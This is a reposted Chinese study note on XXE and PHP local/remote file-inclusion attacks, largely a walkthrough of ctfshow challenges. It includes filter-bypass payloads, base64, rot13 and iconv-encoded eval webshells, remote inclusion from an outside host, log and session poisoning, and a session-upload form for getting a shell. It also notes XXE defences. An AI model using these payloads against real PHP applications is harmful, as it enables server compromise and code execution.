0


安全基础~通用漏洞6

文章目录

知识补充

XML格式(一种数据传输格式,现在被JSON取代):https://xz.aliyun.com/t/6887
XML文档结构包括

XML声明、DTD文档类型定义(可选)、文档元素

文档格式
DTD

定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
参考文章

XXE

XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

XXE的特征

  • 特征1 — .ashx 看到url是 .ashx后缀的.ashx后缀
  • 特征2 — 响应体是xml响应体为xml的

发现有这些特征都可以用下面的流程测试。

XXE检测工具
http://ceye.io/
http://www.dnslog.cn/
https://dnslog.io/

参考文章:https://www.cnblogs.com/20175211lyz/p/11413335.html

XXE黑盒发现

1、获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
2、不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
3、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

XXE白盒发现

1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计(xml)
3、可通过伪协议玩法绕过相关修复等

XXE修复防御方案

-方案1 禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

-方案2 过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

示例演示所用测试:

代码示例1
代码示例2
代码示例3

利用主要基于

libxml2

版本,其中

libxml

是PHP的xml支持。

libxml

版本在2.9.1及以后,默认不解析外部实体,很多利用将无法实现。其可以在phpinfo中进行查看

示例4
示例5
示例6
ctfshow373
iwebsec靶场XXE:
xxe示例

XXE没有回显数据

没有回显数据
概念
利用
步骤
ctfshow374

小迪视频B占有
黑盒测试与白盒测试示例(小迪)参考:https://www.cnblogs.com/haorancracker/articles/17698940.html
XXE视频参考传送阵

文件包含

1、本地包含LFI&远程包含RFI-区别
一个只能包含本地,一个可以远程加载
具体形成原因由代码和环境配置文件决定(远程条件决定)

2、各类脚本语言包含代码写法-见下文

<!--#include file="1.asp" --><!--#include file="top.aspx" --><c:import url="http://thief.one/1.jsp"><jsp:include page="head.jsp"/><%@ include file="head.jsp"%><?php Include('test.php')?>

3、各类脚本语言包含伪协议玩法
https://www.cnblogs.com/endust/p/11804767.html

#思路要点:
-黑盒发现:主要观察参数传递的数据和文件名是否对应
-白盒发现:
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等

#本课总结:
1、有可控文件如能上传文件,配合上传后包含
2、无可控文件可以利用日志或Session&伪协议
3、代码固定目录及文件后缀时需考虑版本绕过
4、伪协议玩法是建立在代码中只有变量存在时

攻击思路:

  1. 配合文件上传进行getshell,图片带有脚本后门代码,包含这个图片,图片代码被触发
  2. 配合日志文件进行getshell,日志会记录访问UA信息,修改UA信息为后门代码,包含即执行后门代码
  3. 配合会话文件进行getshell

黑盒发现:主要观察参数传递的数据和文件名是否对应
比如

     f 
    
   
     i 
    
   
     l 
    
   
     e 
    
   
     = 
    
   
  
    file= 
   
  
file=_GET[‘x’];//?x=index.php(文件名)

CTFshow闯关

78
代码:

if(isset($_GET['file'])){$file=$_GET['file'];include($file);}else{highlight_file(__FILE__);}

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
payload: ?file=php://input post:<?php system('tac flag.php');?>
payload: ?file=http://www.mumuxi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

79
代码:

<?phpif(isset($_GET['file'])){$file=$_GET['file'];$file=str_replace("php","???",$file);include($file);}else{highlight_file(__FILE__);}

过滤了file和php

payload: ?file=data://text/plain,<?=system('tac flag.*');?>
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>
远程文件包含:如果不支持,那就只能支持本地的。
条件:

allow_url_fopen:on
allow_url_include:on

在代码也有相关限制。

80-81
代码:

<?phpif(isset($_GET['file'])){$file=$_GET['file'];$file=str_replace("php","???",$file);$file=str_replace("data","???",$file);include($file);}else{highlight_file(__FILE__);}

过滤了php,data

尝试http,也被禁用了。还有file协议,但是file,zip等协议是加绝对路径的。http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
php被过滤了,这个在

路径上是不能用*号代替的

。之前能用*号代替是因为他调用系统命令,比如system(‘tac flag.*’) 路径上的文件名字如果flag.,那么系统就会认为他是flag.

那么他可以包含日志文件,信息收集中间件是Nginx
在网上查看Nginx的日志文件为/var/log/nginx/access.log

1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
包含:/var/log/nginx/access.log

eg

82 - 86

session包含,参考:
https://www.cnblogs.com/lnterpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html

在每个环境下面有个目录存储,在phpstudy中,存储session目录

D:\phpstudy_pro\Extensions\tmp\tmp

这里有很多文件以sess_开头的文件名
test

这个文件是固定路径,如果知道了这个路径,那么就可以用包含session文件来实现getshell

文件包含

本地包含:LFI(local file include)
包含一个文件,这个文件有后门代码,就可以shell连上去
这个文件哪里来?
1.可以通过文件上传获取,上传的文件在服务器上面。
2.没有文件上传,借助日志写入(UA),session文件写入
3.伪协议没有文件上传也能进行PHP代码执行

那么session到底怎么样才能getshell呢?
在自己本地构造一个upload文件,后缀为html

<!DOCTYPEhtml><html><body><formaction="http://127.0.0.1:8081/web/include.php"method="POST"enctype="multipart/form-data"><inputtype="hidden"name="PHP_SESSION_UPLOAD_PROGRESS"value="123"/><inputtype="file"name="file"/><inputtype="submit"value="submit"/></form></body></html>

随便选一个文件进行上传,然后到存储session目录下观察session文件变化

test2

发现访问就会产生session文件,虽然说

sess_

头固定,但是后面是不固定的。
进行抓包,发现数据包中函数

PHPSESSID

的值,与

sess_

后面的值一直,修改PHPSESSID来进行控制sess_的文件名。
但是本地没有。

那么文件名应该怎么控制呢?通过表单

PHP_SESSION_UPLOAD_PROGRESS

来控制

sess_

文件内容,
比如

<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />

这个提交的

sess_

内容是123
伪协议读写的条件:
php代码:

$file=$_GET['filename'];include($file);

访问

http://127.0.0.1:8081/web/include.php?filename=1.txt

这样就能包含成功。
访问

http://127.0.0.1:8081/web/include.php?filename=php://filter/read=convert.base64-encode/resource=1.txt

这个就能读取到1.txt的内容

如果在代码中写上

$file=$_GET['filename']; include(‘mysql/’.$file);

包含文件的时候,包含mysql这个目录下的文件
那么如果还要包含,那应该怎么办?
这样访问就可以

http://127.0.0.1:8081/web/include.php?filename=../1.txt

但是这个伪协议不能使用。伪协议不管前面和后面有没有东西,只要有东西都不可以。

87

if(isset($_GET['file'])){$file=$_GET['file'];$content=$_POST['content'];$file=str_replace("php","???",$file);$file=str_replace("data","???",$file);$file=str_replace(":","???",$file);$file=str_replace(".","???",$file);file_put_contents(urldecode($file),"<?php die('大佬别秀了');?>".$content);}else{highlight_file(__FILE__);}

发现urldecode解码,
1、利用base64:
url编码2次:

php://filter/write=convert.base64-decode/resource=123.php

浏览器自动解码和代码进行解码(两次解码)
经过第一次编码

%70%68%70%3A%2F%2F%66%69%6C%74%65%72%2F%77%72%69%74%65%3D%63%6F%6E%76%65%72%74%2E%62%61%73%65%36%34%2D%64%65%63%6F%64%65%2F%72%65%73%6F%75%72%63%65%3D%31%32%33%2E%70%68%70

URL会自动解码(浏览器),最后也变成了

php://filter/write=convert.base64-decode/resource=123.php

然后在进行一次编码

%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%33%32%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

content用base64进行写的东西,所以传入的值也要编码
前面aa是填充值,为什么要加进去呢?因为base64编码默认是四个比特字节一次。
访问123.php,psot提交a=phpinfo();

2、利用凯撒13:
url编码2次:

php://filter/write=string.rot13/resource=2.php

也要经过两次编码

content=<?cuc riny($_CBFG[1]);?>

访问2.php,post提交1=phpinfo();

88

if(isset($_GET['file'])){$file=$_GET['file'];if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i",$file)){die("error");}include($file);}else{highlight_file(__FILE__);}

过滤PHP,各种符号,php代码编码写出无符号base64值
Payload:

file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

是base64编码写法,需要没有过滤的字符。解码为:

<?php system('tac *.php');echo 123;?>ad

TEST
117

highlight_file(__FILE__);error_reporting(0);functionfilter($x){if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){die('too young too simple sometimes naive!');}}$file=$_GET['file'];$contents=$_POST['contents'];filter($file);file_put_contents($file,"<?php die();?>".$contents);

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

<?php$result=iconv("UCS-2LE","UCS-2BE",'<?php eval($_POST[a]);?>');echo"经过一次反转:".$result."\n";echo"经过第二次反转:".iconv("UCS-2LE","UCS-2BE",$result);?>

Payload:

file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?

参考链接:https://www.cnblogs.com/haorancracker/articles/17698941.html

标签: 安全

本文转载自: https://blog.csdn.net/qq_63792137/article/details/136139656
版权归原作者 `流年づ 所有, 如有侵权,请联系我们删除。

“安全基础~通用漏洞6”的评论:

还没有评论